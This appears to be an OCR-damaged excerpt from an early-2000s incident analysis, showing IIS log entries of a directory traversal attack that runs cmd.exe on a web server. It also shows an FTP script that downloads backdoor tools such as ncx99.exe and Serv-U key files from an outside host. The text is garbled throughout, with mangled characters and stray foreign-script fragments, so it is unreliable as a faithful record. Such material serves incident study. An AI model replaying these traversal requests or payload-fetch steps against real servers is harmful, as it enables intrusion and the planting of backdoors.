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C:\scripts.bat
C:\temp\win.asp

c:\inetpub

c:\inetpub\scripts
c:\inetpub\wwwroot
c:\inetpub\mailroot\drop\temp
c:\winnt\system32
c:\winnt\system32\sysstat
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10/26/02 04:49a <DIR> +05 GBA
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3 - back door
4 - Log entry
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217.153.XXX.XX, -, 10/30/02, 18:24:06, W3SVC, [ccc]
EXCHANGE, 64.3. XXX.XX, 32, 149, 2079, 200, 0, [ccc]
GET, /scripts/..%5c¢..%5cwinnt/system32/cmd.exe, /ct+dir+c:\
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64.3.xxx.xxx, 16, 177, 304, 200, 0, GET, /scripts/[ccc]

.%5¢..%5cwinnt/system32/cmd.exe, /c+tmkdir+c:\Inetpub\[ccc]
mailroot\drop\temp+,
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217.153.xxx.XxX, -, 10/30/02, 18:25:32, W3SVC, EXCHANGE, [ccc]

64.3.xxx.xxx, 62, 211, 331, 200, 0, GET, /scripts/[ccc]

.%5c..%5cwinnt/system32/cmd.exe, /ct+copy+[cec]
c:\winnt\system32\cmd.exe+c:\Inetpub\mailroot\drop\temp\doit.exe+,

oS yla 4o default.txt (.Ls o LB s ialae aSl (gl S5 68 as Sl Jla
S oo Bla )y st dhuug 4l O caol s ea g 348

217.153 . xxx.XXX, -, 10/30/02, 18:25:34, W3SVC, EXCHANGE, [ccc]
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Open 65.40.xxX.XXX

user anonymous >> default.txt

echo lol@lol.com >> default.txt

echo cd+rapport/backup >> default.txt
get reboot.exe >> default.txt

get TzoLibr.dll >> default.txt

echo get ServUDaemon.ini >> default.txt
echo get ServUCert.key >> default.txt
get ServUCert.crt >> default.txt

get rundlls32.exe >> default.txt

echo get ncx99.exe >> default.txt
echo get kill.exe >> default.txt

echo get tasklist.exe >>default.txt
echo quit >> default.txt
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